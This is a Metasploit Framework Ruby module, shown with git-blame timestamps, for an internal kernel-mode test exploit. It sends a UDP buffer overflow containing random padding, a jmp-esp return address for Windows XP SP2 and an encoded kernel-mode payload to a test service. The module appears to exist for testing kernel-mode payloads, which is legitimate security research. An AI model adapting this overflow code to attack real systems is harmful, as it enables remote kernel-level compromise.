2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-19 05:18:43 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-10-16 23:59:14 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
#
|
|
|
|
# This is a test exploit for testing kernel-mode payloads.
|
|
|
|
#
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2006-10-16 23:59:14 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
include Msf::Exploit::KernelMode
|
2006-10-16 23:59:14 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Internal Kernel-mode Test Exploit',
|
2010-02-19 05:18:43 +00:00
|
|
|
'Description' =>
|
2006-10-16 23:59:14 +00:00
|
|
|
"This module tests the exploitation of a kernel-mode test service.",
|
|
|
|
'Author' => 'skape',
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-10-16 23:59:14 +00:00
|
|
|
'Arch' => 'x86',
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'MaxNops' => 0,
|
|
|
|
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
|
|
|
|
'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500
|
|
|
|
},
|
2010-02-19 05:18:43 +00:00
|
|
|
'Targets' =>
|
2006-10-16 23:59:14 +00:00
|
|
|
[
|
|
|
|
[
|
2006-10-17 01:59:09 +00:00
|
|
|
'Windows XP SP2',
|
2006-10-16 23:59:14 +00:00
|
|
|
{
|
|
|
|
'Ret' => 0x80502d7f, # jmp esp
|
|
|
|
'Platform' => 'win',
|
2010-02-19 05:18:43 +00:00
|
|
|
'Payload' =>
|
2006-10-16 23:59:14 +00:00
|
|
|
{
|
2010-02-19 05:18:43 +00:00
|
|
|
'ExtendedOptions' =>
|
2006-10-16 23:59:14 +00:00
|
|
|
{
|
|
|
|
'Stager' => 'sud_syscall_hook',
|
|
|
|
'Recovery' => 'spin'
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
2010-02-19 05:18:43 +00:00
|
|
|
def autofilter
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
2006-10-16 23:59:14 +00:00
|
|
|
def check
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_udp
|
|
|
|
|
|
|
|
print_status("Sending #{payload.encoded.length} byte payload...")
|
|
|
|
|
2010-02-19 05:18:43 +00:00
|
|
|
buf =
|
2006-10-16 23:59:14 +00:00
|
|
|
rand_text_alphanumeric(260) +
|
|
|
|
"\xbe\x7f\x00\x00" +
|
|
|
|
rand_text_alphanumeric(28) +
|
|
|
|
[target.ret].pack('V') +
|
|
|
|
rand_text_alphanumeric(8) +
|
|
|
|
payload.encoded
|
|
|
|
|
|
|
|
udp_sock.put(buf)
|
|
|
|
|
|
|
|
sleep 2
|
|
|
|
|
|
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
|
2010-02-19 05:18:43 +00:00
|
|
|
end
|